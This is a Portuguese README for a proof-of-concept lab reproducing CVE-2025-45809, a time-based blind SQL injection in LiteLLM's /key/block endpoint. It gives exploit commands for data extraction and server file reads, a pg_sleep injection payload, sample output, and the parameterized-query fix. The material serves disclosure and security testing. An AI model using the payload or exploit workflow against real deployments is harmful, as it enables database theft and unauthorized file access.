
Código para reproduzir a vulnerabilidade individualmente
/key/block (SQLi Cega Baseada em Tempo)LiteLLM v1.65.4 (versões anteriores a v1.81.0) — os endpoints
/key/blocke/key/unblockpossuem uma vulnerabilidade de injeção SQL no parâmetrokey. Um atacante pode usar a técnica de injeção cega baseada em tempo para extrair conteúdo do banco de dados e ler arquivos do servidor.
| Campo | Valor |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MÉDIO) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (Injeção SQL) |
| Afetado | LiteLLM < 1.81.0 (confirmado em v1.65.4) |
| Corrigido | v1.81.0+ (correção com consultas parametrizadas) |
| Publicado | 2025-07-03 |
| Descoberto por | shadia0 (via recompensa Huntr) |
| Links | NVD • Huntr • Snyk |
Os endpoints /key/block e /key/unblock do LiteLLM são usados para gerenciar o bloqueio/desbloqueio de chaves de API.
Ao processar o parâmetro key, esses endpoints concatenam diretamente a entrada do usuário na string da consulta SQL (usando
formatação f-string), sem usar consultas parametrizadas, resultando em uma vulnerabilidade de injeção SQL.
| Endpoint | Método | Parâmetro Injetável |
|---|---|---|
/key/block | POST | key (corpo JSON) |
/key/unblock | POST | key (corpo JSON) |
pg_sleep() do PostgreSQL para confirmar a injeção pela diferença no tempo de respostapg_read_file() do PostgreSQL para ler arquivos do servidor# 1. Iniciar PostgreSQL + LiteLLM vulnerável
docker compose up -d
# 2. Instalar dependências
pip install -r requirements.txt
# 3. Confirmar injeção SQL (detectar atraso do pg_sleep)
python3 exploit/exploit.py --mode check --target http://localhost:4000
Aviso: Na primeira execução, o exploit chama automaticamente
/key/generatepara criar uma chave de API, acionando o Prisma para criar a tabelaKeyno banco de dados. Esse é um pré-requisito necessário para que o endpoint/key/blockpossa entrar no caminho da consulta SQL vulnerável. Se esta etapa for pulada, o/key/blockretornará 401 porque a tabelaKeynão foi inicializada, impedindo que a injeção seja acionada.
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### Saída Esperada
**Confirmação de injeção (--mode check):**
Target : http://localhost:4000 Endpoint : /key/block
[*] Etapa 1: Medindo o tempo de resposta base... Linha de base: 0.01s (HTTP 401)
[*] Etapa 2: Testando injeção básica (comentário SQL)... Teste de comentário: 0.00s (HTTP 200)
[*] Etapa 3: Testando injeção com pg_sleep(3)... pg_sleep(3): 3.01s (N/A)
[*] Etapa 4: Testando injeção com pg_sleep(5)... pg_sleep(5): 5.01s (N/A)
[*] Análise: Tempo base: 0.01s pg_sleep(3): 3.01s (esperado ~3s) pg_sleep(5): 5.01s (esperado ~5s)
[🔥] VULNERABILIDADE CONFIRMADA! Injeção com pg_sleep() bem-sucedida! Resposta aumentou de 0.01s para 5.01s
**Versão corrigida rejeita injeção:**
Target : http://localhost:4001 Endpoint : /key/block
[*] Etapa 1: Medindo o tempo de resposta base... Linha de base: 0.00s (HTTP 400)
[*] Etapa 2: Testando injeção básica (comentário SQL)... Teste de comentário: 0.00s (HTTP N/A)
[*] Etapa 3: Testando injeção com pg_sleep(3)... pg_sleep(3): 0.00s (N/A)
[*] Etapa 4: Testando injeção com pg_sleep(5)... pg_sleep(5): 0.00s (N/A)
[*] Análise: Tempo base: 0.00s pg_sleep(3): 0.00s (esperado ~3s) pg_sleep(5): 0.00s (esperado ~5s)
[+] Versão corrigida: Nenhum atraso temporal detectado (esperado).
---
## Detalhes Técnicos
### Código Vulnerável
No LiteLLM v1.65.4, a lógica de tratamento do endpoint `/key/block` é similar ao seguinte (versão simplificada):
```python
# Código vulnerável (v1.65.4) — usa f-string para concatenar SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# Concatena diretamente a entrada do usuário na consulta SQL!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
O atacante injeta a função de atraso temporal do PostgreSQL no parâmetro key:
' OR (SELECT pg_sleep(5)) IS NULL --
O SQL concatenado torna-se:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| Cenário de Teste | Tempo de Resposta | Conclusão |
|---|---|---|
| Requisição normal (key=test) | ~0.01s | Linha de base |
| pg_sleep(3) | ~3.01s | Injeção em efeito |
| pg_sleep(5) | ~5.01s | Injeção confirmada |
O LiteLLM v1.65.4 usa o Prisma ORM para gerenciar o banco de dados. A tabela Key segue uma estratégia de criação preguiçosa —
antes da primeira chamada a /key/generate para criar uma chave de API, a tabela Key ainda não existe no PostgreSQL.
Isso faz com que a consulta de validação da chave no endpoint /key/block (WHERE key='{input}') retorne 401 antes mesmo
de executar o caminho do código SQL que contém a vulnerabilidade, pois a tabela não existe.
O PoC atual já lida automaticamente com esse problema: o script exploit, antes de enviar o payload de injeção,
primeiro chama /key/generate para criar uma chave de API, garantindo que a tabela do banco de dados esteja pronta.
Aviso: Na primeira inicialização do contêiner, aguarde cerca de 30-60s (instalação do Prisma CLI + inicialização do banco de dados). Execute o exploit somente após o log exibir
Uvicorn running on http://0.0.0.0:4000.
CVE-2025-45809/
├── README.md # Este arquivo
├── docker-compose.yml # PostgreSQL + LiteLLM vulnerável/corrigido
├── litellm_config.yaml # Configuração do LiteLLM com conexão ao banco de dados
├── requirements.txt # Dependências Python
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Script principal de exploração
│ └── payload.py # Construtor de payload de injeção SQL
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
Corrigido na v1.81.0, substituindo a concatenação com f-string por consultas parametrizadas (Prepared Statements):
# Após a correção — usando consultas parametrizadas
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # Ligação segura de parâmetros
keyAviso: Este conteúdo é fornecido apenas para fins educacionais e testes de segurança autorizados.